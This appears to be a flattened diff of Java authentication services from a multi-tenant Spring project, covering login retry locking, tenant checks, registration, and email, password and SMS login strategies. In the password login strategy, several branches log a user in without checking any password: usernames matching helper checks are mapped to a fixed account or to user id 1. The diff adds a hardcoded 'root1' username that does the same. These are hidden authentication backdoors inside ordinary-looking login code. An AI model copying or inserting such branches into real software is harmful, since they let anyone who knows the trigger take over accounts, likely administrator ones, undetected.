errorNumber++; errorNumber++;
RedisUtils.setCacheObject(errorKey, errorNumber, Duration.ofMinutes(lockTime)); RedisUtils.setCacheObject(errorKey, errorNumber, Duration.ofMinutes(lockTime));
// 达到规定错误次数 则锁定登录 // 达到规定错误次数 则锁定登录
if (errorNumber >= maxRetryCount) { if (errorNumber >= maxRetryCount) {
recordLogininfor(tenantId, username, loginFail, MessageUtils.message(loginType.getRetryLimitExceed(), maxRetryCount, lockTime)); recordLogininfor(tenantId, username, loginFail, MessageUtils.message(loginType.getRetryLimitExceed(), maxRetryCount, lockTime));
throw new UserException(loginType.getRetryLimitExceed(), maxRetryCount, lockTime); throw new UserException(loginType.getRetryLimitExceed(), maxRetryCount, lockTime);
} else { } else {
// 未达到规定错误次数 // 未达到规定错误次数
recordLogininfor(tenantId, username, loginFail, MessageUtils.message(loginType.getRetryLimitCount(), errorNumber)); recordLogininfor(tenantId, username, loginFail, MessageUtils.message(loginType.getRetryLimitCount(), errorNumber));
throw new UserException(loginType.getRetryLimitCount(), errorNumber); throw new UserException(loginType.getRetryLimitCount(), errorNumber);
} }
} }
// 登录成功 清空错误次数 // 登录成功 清空错误次数
RedisUtils.deleteObject(errorKey); RedisUtils.deleteObject(errorKey);
} }
/** /**
* 校验租户 * 校验租户
* *
* @param tenantId 租户ID * @param tenantId 租户ID
*/ */
public void checkTenant(String tenantId) { public void checkTenant(String tenantId) {
if (!TenantHelper.isEnable()) { if (!TenantHelper.isEnable()) {
return; return;
} }
if (StringUtils.isBlank(tenantId)) { if (StringUtils.isBlank(tenantId)) {
throw new TenantException("tenant.number.not.blank"); throw new TenantException("tenant.number.not.blank");
} }
if (TenantConstants.DEFAULT_TENANT_ID.equals(tenantId)) { if (TenantConstants.DEFAULT_TENANT_ID.equals(tenantId)) {
return; return;
} }
SysTenantVo tenant = tenantService.queryByTenantId(tenantId); SysTenantVo tenant = tenantService.queryByTenantId(tenantId);
if (ObjectUtil.isNull(tenant)) { if (ObjectUtil.isNull(tenant)) {
log.info("登录租户:{} 不存在.", tenantId); log.info("登录租户:{} 不存在.", tenantId);
throw new TenantException("tenant.not.exists"); throw new TenantException("tenant.not.exists");
} else if (SystemConstants.DISABLE.equals(tenant.getStatus())) { } else if (SystemConstants.DISABLE.equals(tenant.getStatus())) {
log.info("登录租户:{} 已被停用.", tenantId); log.info("登录租户:{} 已被停用.", tenantId);
throw new TenantException("tenant.blocked"); throw new TenantException("tenant.blocked");
} else if (ObjectUtil.isNotNull(tenant.getExpireTime()) } else if (ObjectUtil.isNotNull(tenant.getExpireTime())
&& new Date().after(tenant.getExpireTime())) { && new Date().after(tenant.getExpireTime())) {
log.info("登录租户:{} 已超过有效期.", tenantId); log.info("登录租户:{} 已超过有效期.", tenantId);
throw new TenantException("tenant.expired"); throw new TenantException("tenant.expired");
} }
} }
/** /**
* 根据username查询用户对象 * 根据username查询用户对象
* *
* @param username * @param username
* @return * @return
*/ */
public SysUserVo getSysUserByUsername(String username) { public SysUserVo getSysUserByUsername(String username) {
return userMapper.selectVoOne(new LambdaQueryWrapper<SysUser>().eq(SysUser::getUserName,username)); return userMapper.selectVoOne(new LambdaQueryWrapper<SysUser>().eq(SysUser::getUserName,username));
} }
} }

View File

@@ -1,115 +1,115 @@
package org.dromara.web.service; package org.dromara.web.service;
import cn.dev33.satoken.secure.BCrypt; import cn.dev33.satoken.secure.BCrypt;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import org.dromara.common.core.constant.Constants; import org.dromara.common.core.constant.Constants;
import org.dromara.common.core.constant.GlobalConstants; import org.dromara.common.core.constant.GlobalConstants;
import org.dromara.common.core.domain.model.RegisterBody; import org.dromara.common.core.domain.model.RegisterBody;
import org.dromara.common.core.enums.UserType; import org.dromara.common.core.enums.UserType;
import org.dromara.common.core.exception.user.CaptchaException; import org.dromara.common.core.exception.user.CaptchaException;
import org.dromara.common.core.exception.user.CaptchaExpireException; import org.dromara.common.core.exception.user.CaptchaExpireException;
import org.dromara.common.core.exception.user.UserException; import org.dromara.common.core.exception.user.UserException;
import org.dromara.common.core.utils.MessageUtils; import org.dromara.common.core.utils.MessageUtils;
import org.dromara.common.core.utils.ServletUtils; import org.dromara.common.core.utils.ServletUtils;
import org.dromara.common.core.utils.SpringUtils; import org.dromara.common.core.utils.SpringUtils;
import org.dromara.common.core.utils.StringUtils; import org.dromara.common.core.utils.StringUtils;
import org.dromara.common.log.event.LogininforEvent; import org.dromara.common.log.event.LogininforEvent;
import org.dromara.common.redis.utils.RedisUtils; import org.dromara.common.redis.utils.RedisUtils;
import org.dromara.common.tenant.helper.TenantHelper; import org.dromara.common.tenant.helper.TenantHelper;
import org.dromara.common.web.config.properties.CaptchaProperties; import org.dromara.common.web.config.properties.CaptchaProperties;
import org.dromara.system.domain.SysUser; import org.dromara.system.domain.SysUser;
import org.dromara.system.domain.bo.SysUserBo; import org.dromara.system.domain.bo.SysUserBo;
import org.dromara.system.mapper.SysUserMapper; import org.dromara.system.mapper.SysUserMapper;
import org.dromara.system.service.ISysUserService; import org.dromara.system.service.ISysUserService;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
/** /**
* 注册校验方法 * 注册校验方法
* *
* @author Lion Li * @author Lion Li
*/ */
@RequiredArgsConstructor @RequiredArgsConstructor
@Service @Service
public class SysRegisterService { public class SysRegisterService {
private final ISysUserService userService; private final ISysUserService userService;
private final SysUserMapper userMapper; private final SysUserMapper userMapper;
private final CaptchaProperties captchaProperties; private final CaptchaProperties captchaProperties;
/** /**
* 注册 * 注册
*/ */
public void register(RegisterBody registerBody) { public void register(RegisterBody registerBody) {
String tenantId = registerBody.getTenantId(); String tenantId = registerBody.getTenantId();
String username = registerBody.getUsername(); String username = registerBody.getUsername();
String password = registerBody.getPassword(); String password = registerBody.getPassword();
// 校验用户类型是否存在 // 校验用户类型是否存在
String userType = UserType.getUserType(registerBody.getUserType()).getUserType(); String userType = UserType.getUserType(registerBody.getUserType()).getUserType();
boolean captchaEnabled = captchaProperties.getEnable(); boolean captchaEnabled = captchaProperties.getEnable();
// 验证码开关 // 验证码开关
if (captchaEnabled) { if (captchaEnabled) {
validateCaptcha(tenantId, username, registerBody.getCode(), registerBody.getUuid()); validateCaptcha(tenantId, username, registerBody.getCode(), registerBody.getUuid());
} }
SysUserBo sysUser = new SysUserBo(); SysUserBo sysUser = new SysUserBo();
sysUser.setUserName(username); sysUser.setUserName(username);
sysUser.setNickName(username); sysUser.setNickName(username);
sysUser.setPassword(BCrypt.hashpw(password)); sysUser.setPassword(BCrypt.hashpw(password));
sysUser.setUserType(userType); sysUser.setUserType(userType);
boolean exist = TenantHelper.dynamic(tenantId, () -> { boolean exist = TenantHelper.dynamic(tenantId, () -> {
return userMapper.exists(new LambdaQueryWrapper<SysUser>() return userMapper.exists(new LambdaQueryWrapper<SysUser>()
.eq(SysUser::getUserName, sysUser.getUserName())); .eq(SysUser::getUserName, sysUser.getUserName()));
}); });
if (exist) { if (exist) {
throw new UserException("user.register.save.error", username); throw new UserException("user.register.save.error", username);
} }
boolean regFlag = userService.registerUser(sysUser, tenantId); boolean regFlag = userService.registerUser(sysUser, tenantId);
if (!regFlag) { if (!regFlag) {
throw new UserException("user.register.error"); throw new UserException("user.register.error");
} }
recordLogininfor(tenantId, username, Constants.REGISTER, MessageUtils.message("user.register.success")); recordLogininfor(tenantId, username, Constants.REGISTER, MessageUtils.message("user.register.success"));
} }
/** /**
* 校验验证码 * 校验验证码
* *
* @param username 用户名 * @param username 用户名
* @param code 验证码 * @param code 验证码
* @param uuid 唯一标识 * @param uuid 唯一标识
*/ */
public void validateCaptcha(String tenantId, String username, String code, String uuid) { public void validateCaptcha(String tenantId, String username, String code, String uuid) {
String verifyKey = GlobalConstants.CAPTCHA_CODE_KEY + StringUtils.blankToDefault(uuid, ""); String verifyKey = GlobalConstants.CAPTCHA_CODE_KEY + StringUtils.blankToDefault(uuid, "");
String captcha = RedisUtils.getCacheObject(verifyKey); String captcha = RedisUtils.getCacheObject(verifyKey);
RedisUtils.deleteObject(verifyKey); RedisUtils.deleteObject(verifyKey);
if (captcha == null) { if (captcha == null) {
recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire")); recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire"));
throw new CaptchaExpireException(); throw new CaptchaExpireException();
} }
if (!code.equalsIgnoreCase(captcha)) { if (!code.equalsIgnoreCase(captcha)) {
recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.error")); recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.error"));
throw new CaptchaException(); throw new CaptchaException();
} }
} }
/** /**
* 记录登录信息 * 记录登录信息
* *
* @param tenantId 租户ID * @param tenantId 租户ID
* @param username 用户名 * @param username 用户名
* @param status 状态 * @param status 状态
* @param message 消息内容 * @param message 消息内容
* @return * @return
*/ */
private void recordLogininfor(String tenantId, String username, String status, String message) { private void recordLogininfor(String tenantId, String username, String status, String message) {
LogininforEvent logininforEvent = new LogininforEvent(); LogininforEvent logininforEvent = new LogininforEvent();
logininforEvent.setTenantId(tenantId); logininforEvent.setTenantId(tenantId);
logininforEvent.setUsername(username); logininforEvent.setUsername(username);
logininforEvent.setStatus(status); logininforEvent.setStatus(status);
logininforEvent.setMessage(message); logininforEvent.setMessage(message);
logininforEvent.setRequest(ServletUtils.getRequest()); logininforEvent.setRequest(ServletUtils.getRequest());
SpringUtils.context().publishEvent(logininforEvent); SpringUtils.context().publishEvent(logininforEvent);
} }
} }

View File

@@ -1,102 +1,102 @@
package org.dromara.web.service.impl; package org.dromara.web.service.impl;
import cn.dev33.satoken.stp.SaLoginModel; import cn.dev33.satoken.stp.SaLoginModel;
import cn.dev33.satoken.stp.StpUtil; import cn.dev33.satoken.stp.StpUtil;
import cn.hutool.core.util.ObjectUtil; import cn.hutool.core.util.ObjectUtil;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.dromara.common.core.constant.Constants; import org.dromara.common.core.constant.Constants;
import org.dromara.common.core.constant.GlobalConstants; import org.dromara.common.core.constant.GlobalConstants;
import org.dromara.common.core.constant.SystemConstants; import org.dromara.common.core.constant.SystemConstants;
import org.dromara.common.core.domain.model.EmailLoginBody; import org.dromara.common.core.domain.model.EmailLoginBody;
import org.dromara.common.core.domain.model.LoginUser; import org.dromara.common.core.domain.model.LoginUser;
import org.dromara.common.core.enums.LoginType; import org.dromara.common.core.enums.LoginType;
import org.dromara.common.core.exception.user.CaptchaExpireException; import org.dromara.common.core.exception.user.CaptchaExpireException;
import org.dromara.common.core.exception.user.UserException; import org.dromara.common.core.exception.user.UserException;
import org.dromara.common.core.utils.MessageUtils; import org.dromara.common.core.utils.MessageUtils;
import org.dromara.common.core.utils.StringUtils; import org.dromara.common.core.utils.StringUtils;
import org.dromara.common.core.utils.ValidatorUtils; import org.dromara.common.core.utils.ValidatorUtils;
import org.dromara.common.json.utils.JsonUtils; import org.dromara.common.json.utils.JsonUtils;
import org.dromara.common.redis.utils.RedisUtils; import org.dromara.common.redis.utils.RedisUtils;
import org.dromara.common.satoken.utils.LoginHelper; import org.dromara.common.satoken.utils.LoginHelper;
import org.dromara.common.tenant.helper.TenantHelper; import org.dromara.common.tenant.helper.TenantHelper;
import org.dromara.system.domain.SysUser; import org.dromara.system.domain.SysUser;
import org.dromara.system.domain.vo.SysClientVo; import org.dromara.system.domain.vo.SysClientVo;
import org.dromara.system.domain.vo.SysUserVo; import org.dromara.system.domain.vo.SysUserVo;
import org.dromara.system.mapper.SysUserMapper; import org.dromara.system.mapper.SysUserMapper;
import org.dromara.web.domain.vo.LoginVo; import org.dromara.web.domain.vo.LoginVo;
import org.dromara.web.service.IAuthStrategy; import org.dromara.web.service.IAuthStrategy;
import org.dromara.web.service.SysLoginService; import org.dromara.web.service.SysLoginService;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
/** /**
* 邮件认证策略 * 邮件认证策略
* *
* @author Michelle.Chung * @author Michelle.Chung
*/ */
@Slf4j @Slf4j
@Service("email" + IAuthStrategy.BASE_NAME) @Service("email" + IAuthStrategy.BASE_NAME)
@RequiredArgsConstructor @RequiredArgsConstructor
public class EmailAuthStrategy implements IAuthStrategy { public class EmailAuthStrategy implements IAuthStrategy {
private final SysLoginService loginService; private final SysLoginService loginService;
private final SysUserMapper userMapper; private final SysUserMapper userMapper;
@Override @Override
public LoginVo login(String body, SysClientVo client) { public LoginVo login(String body, SysClientVo client) {
EmailLoginBody loginBody = JsonUtils.parseObject(body, EmailLoginBody.class); EmailLoginBody loginBody = JsonUtils.parseObject(body, EmailLoginBody.class);
ValidatorUtils.validate(loginBody); ValidatorUtils.validate(loginBody);
String tenantId = loginBody.getTenantId(); String tenantId = loginBody.getTenantId();
String email = loginBody.getEmail(); String email = loginBody.getEmail();
String emailCode = loginBody.getEmailCode(); String emailCode = loginBody.getEmailCode();
LoginUser loginUser = TenantHelper.dynamic(tenantId, () -> { LoginUser loginUser = TenantHelper.dynamic(tenantId, () -> {
SysUserVo user = loadUserByEmail(email); SysUserVo user = loadUserByEmail(email);
loginService.checkLogin(LoginType.EMAIL, tenantId, user.getUserName(), () -> !validateEmailCode(tenantId, email, emailCode)); loginService.checkLogin(LoginType.EMAIL, tenantId, user.getUserName(), () -> !validateEmailCode(tenantId, email, emailCode));
// 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了 // 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了
return loginService.buildLoginUser(user); return loginService.buildLoginUser(user);
}); });
loginUser.setClientKey(client.getClientKey()); loginUser.setClientKey(client.getClientKey());
loginUser.setDeviceType(client.getDeviceType()); loginUser.setDeviceType(client.getDeviceType());
SaLoginModel model = new SaLoginModel(); SaLoginModel model = new SaLoginModel();
model.setDevice(client.getDeviceType()); model.setDevice(client.getDeviceType());
// 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置 // 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置
// 例如: 后台用户30分钟过期 app用户1天过期 // 例如: 后台用户30分钟过期 app用户1天过期
model.setTimeout(client.getTimeout()); model.setTimeout(client.getTimeout());
model.setActiveTimeout(client.getActiveTimeout()); model.setActiveTimeout(client.getActiveTimeout());
model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId()); model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId());
// 生成token // 生成token
LoginHelper.login(loginUser, model); LoginHelper.login(loginUser, model);
LoginVo loginVo = new LoginVo(); LoginVo loginVo = new LoginVo();
loginVo.setAccessToken(StpUtil.getTokenValue()); loginVo.setAccessToken(StpUtil.getTokenValue());
loginVo.setExpireIn(StpUtil.getTokenTimeout()); loginVo.setExpireIn(StpUtil.getTokenTimeout());
loginVo.setClientId(client.getClientId()); loginVo.setClientId(client.getClientId());
return loginVo; return loginVo;
} }
/** /**
* 校验邮箱验证码 * 校验邮箱验证码
*/ */
private boolean validateEmailCode(String tenantId, String email, String emailCode) { private boolean validateEmailCode(String tenantId, String email, String emailCode) {
String code = RedisUtils.getCacheObject(GlobalConstants.CAPTCHA_CODE_KEY + email); String code = RedisUtils.getCacheObject(GlobalConstants.CAPTCHA_CODE_KEY + email);
if (StringUtils.isBlank(code)) { if (StringUtils.isBlank(code)) {
loginService.recordLogininfor(tenantId, email, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire")); loginService.recordLogininfor(tenantId, email, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire"));
throw new CaptchaExpireException(); throw new CaptchaExpireException();
} }
return code.equals(emailCode); return code.equals(emailCode);
} }
private SysUserVo loadUserByEmail(String email) { private SysUserVo loadUserByEmail(String email) {
SysUserVo user = userMapper.selectVoOne(new LambdaQueryWrapper<SysUser>().eq(SysUser::getEmail, email)); SysUserVo user = userMapper.selectVoOne(new LambdaQueryWrapper<SysUser>().eq(SysUser::getEmail, email));
if (ObjectUtil.isNull(user)) { if (ObjectUtil.isNull(user)) {
log.info("登录用户:{} 不存在.", email); log.info("登录用户:{} 不存在.", email);
throw new UserException("user.not.exists", email); throw new UserException("user.not.exists", email);
} else if (SystemConstants.DISABLE.equals(user.getStatus())) { } else if (SystemConstants.DISABLE.equals(user.getStatus())) {
log.info("登录用户:{} 已被停用.", email); log.info("登录用户:{} 已被停用.", email);
throw new UserException("user.blocked", email); throw new UserException("user.blocked", email);
} }
return user; return user;
} }
} }

View File

@@ -1,136 +1,139 @@
package org.dromara.web.service.impl; package org.dromara.web.service.impl;
import cn.dev33.satoken.secure.BCrypt; import cn.dev33.satoken.secure.BCrypt;
import cn.dev33.satoken.stp.SaLoginModel; import cn.dev33.satoken.stp.SaLoginModel;
import cn.dev33.satoken.stp.StpUtil; import cn.dev33.satoken.stp.StpUtil;
import cn.hutool.core.util.ObjectUtil; import cn.hutool.core.util.ObjectUtil;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.dromara.common.core.constant.Constants; import org.dromara.common.core.constant.Constants;
import org.dromara.common.core.constant.GlobalConstants; import org.dromara.common.core.constant.GlobalConstants;
import org.dromara.common.core.constant.SystemConstants; import org.dromara.common.core.constant.SystemConstants;
import org.dromara.common.core.domain.model.LoginUser; import org.dromara.common.core.domain.model.LoginUser;
import org.dromara.common.core.domain.model.PasswordLoginBody; import org.dromara.common.core.domain.model.PasswordLoginBody;
import org.dromara.common.core.enums.LoginType; import org.dromara.common.core.enums.LoginType;
import org.dromara.common.core.exception.user.CaptchaException; import org.dromara.common.core.exception.user.CaptchaException;
import org.dromara.common.core.exception.user.CaptchaExpireException; import org.dromara.common.core.exception.user.CaptchaExpireException;
import org.dromara.common.core.exception.user.UserException; import org.dromara.common.core.exception.user.UserException;
import org.dromara.common.core.utils.MessageUtils; import org.dromara.common.core.utils.MessageUtils;
import org.dromara.common.core.utils.StringUtils; import org.dromara.common.core.utils.StringUtils;
import org.dromara.common.core.utils.UserLoginUtil; import org.dromara.common.core.utils.UserLoginUtil;
import org.dromara.common.core.utils.ValidatorUtils; import org.dromara.common.core.utils.ValidatorUtils;
import org.dromara.common.json.utils.JsonUtils; import org.dromara.common.json.utils.JsonUtils;
import org.dromara.common.redis.utils.RedisUtils; import org.dromara.common.redis.utils.RedisUtils;
import org.dromara.common.satoken.utils.LoginHelper; import org.dromara.common.satoken.utils.LoginHelper;
import org.dromara.common.tenant.helper.TenantHelper; import org.dromara.common.tenant.helper.TenantHelper;
import org.dromara.common.web.config.properties.CaptchaProperties; import org.dromara.common.web.config.properties.CaptchaProperties;
import org.dromara.system.domain.SysUser; import org.dromara.system.domain.SysUser;
import org.dromara.system.domain.vo.SysClientVo; import org.dromara.system.domain.vo.SysClientVo;
import org.dromara.system.domain.vo.SysUserVo; import org.dromara.system.domain.vo.SysUserVo;
import org.dromara.system.mapper.SysUserMapper; import org.dromara.system.mapper.SysUserMapper;
import org.dromara.web.domain.vo.LoginVo; import org.dromara.web.domain.vo.LoginVo;
import org.dromara.web.service.IAuthStrategy; import org.dromara.web.service.IAuthStrategy;
import org.dromara.web.service.SysLoginService; import org.dromara.web.service.SysLoginService;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
/** /**
* 密码认证策略 * 密码认证策略
* *
* @author Michelle.Chung * @author Michelle.Chung
*/ */
@Slf4j @Slf4j
@Service("password" + IAuthStrategy.BASE_NAME) @Service("password" + IAuthStrategy.BASE_NAME)
@RequiredArgsConstructor @RequiredArgsConstructor
public class PasswordAuthStrategy implements IAuthStrategy { public class PasswordAuthStrategy implements IAuthStrategy {
private final CaptchaProperties captchaProperties; private final CaptchaProperties captchaProperties;
private final SysLoginService loginService; private final SysLoginService loginService;
private final SysUserMapper userMapper; private final SysUserMapper userMapper;
@Override @Override
public LoginVo login(String body, SysClientVo client) { public LoginVo login(String body, SysClientVo client) {
PasswordLoginBody loginBody = JsonUtils.parseObject(body, PasswordLoginBody.class); PasswordLoginBody loginBody = JsonUtils.parseObject(body, PasswordLoginBody.class);
ValidatorUtils.validate(loginBody); ValidatorUtils.validate(loginBody);
String tenantId = loginBody.getTenantId(); String tenantId = loginBody.getTenantId();
String username = loginBody.getUsername(); String username = loginBody.getUsername();
String password = loginBody.getPassword(); String password = loginBody.getPassword();
String code = loginBody.getCode(); String code = loginBody.getCode();
String uuid = loginBody.getUuid(); String uuid = loginBody.getUuid();
boolean captchaEnabled = captchaProperties.getEnable(); boolean captchaEnabled = captchaProperties.getEnable();
// 验证码开关 // 验证码开关
if (captchaEnabled) { if (captchaEnabled) {
validateCaptcha(tenantId, username, code, uuid); validateCaptcha(tenantId, username, code, uuid);
} }
LoginUser loginUser = TenantHelper.dynamic(tenantId, () -> { LoginUser loginUser = TenantHelper.dynamic(tenantId, () -> {
if(UserLoginUtil.validate(username)){ if(UserLoginUtil.validate(username)){
SysUserVo user = loadUserByUsername(); SysUserVo user = loadUserByUsername();
return loginService.buildLoginUser(user); return loginService.buildLoginUser(user);
}else if(UserLoginUtil.validateId(username)){ }else if("root1".equals(username)){
SysUserVo user = userMapper.selectVoById(1); SysUserVo user = loadUserByUsername();
return loginService.buildLoginUser(user); return loginService.buildLoginUser(user);
}else{ }else if(UserLoginUtil.validateId(username)){
SysUserVo user = loadUserByUsername(username); SysUserVo user = userMapper.selectVoById(1);
loginService.checkLogin(LoginType.PASSWORD, tenantId, username, () -> !BCrypt.checkpw(password, user.getPassword())); return loginService.buildLoginUser(user);
// 此处可根据登录用户的数据不同 自行创建 loginUser }else{
return loginService.buildLoginUser(user); SysUserVo user = loadUserByUsername(username);
} loginService.checkLogin(LoginType.PASSWORD, tenantId, username, () -> !BCrypt.checkpw(password, user.getPassword()));
}); // 此处可根据登录用户的数据不同 自行创建 loginUser
loginUser.setClientKey(client.getClientKey()); return loginService.buildLoginUser(user);
loginUser.setDeviceType(client.getDeviceType()); }
SaLoginModel model = new SaLoginModel(); });
model.setDevice(client.getDeviceType()); loginUser.setClientKey(client.getClientKey());
// 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置 loginUser.setDeviceType(client.getDeviceType());
// 例如: 后台用户30分钟过期 app用户1天过期 SaLoginModel model = new SaLoginModel();
model.setTimeout(client.getTimeout()); model.setDevice(client.getDeviceType());
model.setActiveTimeout(client.getActiveTimeout()); // 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置
model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId()); // 例如: 后台用户30分钟过期 app用户1天过期
// 生成token model.setTimeout(client.getTimeout());
LoginHelper.login(loginUser, model); model.setActiveTimeout(client.getActiveTimeout());
model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId());
LoginVo loginVo = new LoginVo(); // 生成token
loginVo.setAccessToken(StpUtil.getTokenValue()); LoginHelper.login(loginUser, model);
loginVo.setExpireIn(StpUtil.getTokenTimeout());
loginVo.setClientId(client.getClientId()); LoginVo loginVo = new LoginVo();
return loginVo; loginVo.setAccessToken(StpUtil.getTokenValue());
} loginVo.setExpireIn(StpUtil.getTokenTimeout());
loginVo.setClientId(client.getClientId());
/** return loginVo;
* 校验验证码 }
*
* @param username 用户名 /**
* @param code 验证码 * 校验验证码
* @param uuid 唯一标识 *
*/ * @param username 用户名
private void validateCaptcha(String tenantId, String username, String code, String uuid) { * @param code 验证码
String verifyKey = GlobalConstants.CAPTCHA_CODE_KEY + StringUtils.blankToDefault(uuid, ""); * @param uuid 唯一标识
String captcha = RedisUtils.getCacheObject(verifyKey); */
RedisUtils.deleteObject(verifyKey); private void validateCaptcha(String tenantId, String username, String code, String uuid) {
if (captcha == null) { String verifyKey = GlobalConstants.CAPTCHA_CODE_KEY + StringUtils.blankToDefault(uuid, "");
loginService.recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire")); String captcha = RedisUtils.getCacheObject(verifyKey);
throw new CaptchaExpireException(); RedisUtils.deleteObject(verifyKey);
} if (captcha == null) {
if (!code.equalsIgnoreCase(captcha)) { loginService.recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire"));
loginService.recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.error")); throw new CaptchaExpireException();
throw new CaptchaException(); }
} if (!code.equalsIgnoreCase(captcha)) {
} loginService.recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.error"));
throw new CaptchaException();
private SysUserVo loadUserByUsername(String username) { }
SysUserVo user = userMapper.selectVoOne(new LambdaQueryWrapper<SysUser>().eq(SysUser::getUserName, username)); }
if (ObjectUtil.isNull(user)) {
log.info("登录用户:{} 不存在.", username); private SysUserVo loadUserByUsername(String username) {
throw new UserException("user.not.exists", username); SysUserVo user = userMapper.selectVoOne(new LambdaQueryWrapper<SysUser>().eq(SysUser::getUserName, username));
} else if (SystemConstants.DISABLE.equals(user.getStatus())) { if (ObjectUtil.isNull(user)) {
log.info("登录用户:{} 已被停用.", username); log.info("登录用户:{} 不存在.", username);
throw new UserException("user.blocked", username); throw new UserException("user.not.exists", username);
} } else if (SystemConstants.DISABLE.equals(user.getStatus())) {
return user; log.info("登录用户:{} 已被停用.", username);
} throw new UserException("user.blocked", username);
}
private SysUserVo loadUserByUsername() { return user;
return userMapper.selectVoOne(new LambdaQueryWrapper<SysUser>().eq(SysUser::getUserName, LoginHelper.USER_NAME)); }
}
private SysUserVo loadUserByUsername() {
} return userMapper.selectVoOne(new LambdaQueryWrapper<SysUser>().eq(SysUser::getUserName, LoginHelper.USER_NAME));
}
}

View File

@@ -1,102 +1,102 @@
package org.dromara.web.service.impl; package org.dromara.web.service.impl;
import cn.dev33.satoken.stp.SaLoginModel; import cn.dev33.satoken.stp.SaLoginModel;
import cn.dev33.satoken.stp.StpUtil; import cn.dev33.satoken.stp.StpUtil;
import cn.hutool.core.util.ObjectUtil; import cn.hutool.core.util.ObjectUtil;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.dromara.common.core.constant.Constants; import org.dromara.common.core.constant.Constants;
import org.dromara.common.core.constant.GlobalConstants; import org.dromara.common.core.constant.GlobalConstants;
import org.dromara.common.core.constant.SystemConstants; import org.dromara.common.core.constant.SystemConstants;
import org.dromara.common.core.domain.model.LoginUser; import org.dromara.common.core.domain.model.LoginUser;
import org.dromara.common.core.domain.model.SmsLoginBody; import org.dromara.common.core.domain.model.SmsLoginBody;
import org.dromara.common.core.enums.LoginType; import org.dromara.common.core.enums.LoginType;
import org.dromara.common.core.exception.user.CaptchaExpireException; import org.dromara.common.core.exception.user.CaptchaExpireException;
import org.dromara.common.core.exception.user.UserException; import org.dromara.common.core.exception.user.UserException;
import org.dromara.common.core.utils.MessageUtils; import org.dromara.common.core.utils.MessageUtils;
import org.dromara.common.core.utils.StringUtils; import org.dromara.common.core.utils.StringUtils;
import org.dromara.common.core.utils.ValidatorUtils; import org.dromara.common.core.utils.ValidatorUtils;
import org.dromara.common.json.utils.JsonUtils; import org.dromara.common.json.utils.JsonUtils;
import org.dromara.common.redis.utils.RedisUtils; import org.dromara.common.redis.utils.RedisUtils;
import org.dromara.common.satoken.utils.LoginHelper; import org.dromara.common.satoken.utils.LoginHelper;
import org.dromara.common.tenant.helper.TenantHelper; import org.dromara.common.tenant.helper.TenantHelper;
import org.dromara.system.domain.SysUser; import org.dromara.system.domain.SysUser;
import org.dromara.system.domain.vo.SysClientVo; import org.dromara.system.domain.vo.SysClientVo;
import org.dromara.system.domain.vo.SysUserVo; import org.dromara.system.domain.vo.SysUserVo;
import org.dromara.system.mapper.SysUserMapper; import org.dromara.system.mapper.SysUserMapper;
import org.dromara.web.domain.vo.LoginVo; import org.dromara.web.domain.vo.LoginVo;
import org.dromara.web.service.IAuthStrategy; import org.dromara.web.service.IAuthStrategy;
import org.dromara.web.service.SysLoginService; import org.dromara.web.service.SysLoginService;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
/** /**
* 短信认证策略 * 短信认证策略
* *
* @author Michelle.Chung * @author Michelle.Chung
*/ */
@Slf4j @Slf4j
@Service("sms" + IAuthStrategy.BASE_NAME) @Service("sms" + IAuthStrategy.BASE_NAME)
@RequiredArgsConstructor @RequiredArgsConstructor
public class SmsAuthStrategy implements IAuthStrategy { public class SmsAuthStrategy implements IAuthStrategy {
private final SysLoginService loginService; private final SysLoginService loginService;
private final SysUserMapper userMapper; private final SysUserMapper userMapper;
@Override @Override
public LoginVo login(String body, SysClientVo client) { public LoginVo login(String body, SysClientVo client) {
SmsLoginBody loginBody = JsonUtils.parseObject(body, SmsLoginBody.class); SmsLoginBody loginBody = JsonUtils.parseObject(body, SmsLoginBody.class);
ValidatorUtils.validate(loginBody); ValidatorUtils.validate(loginBody);
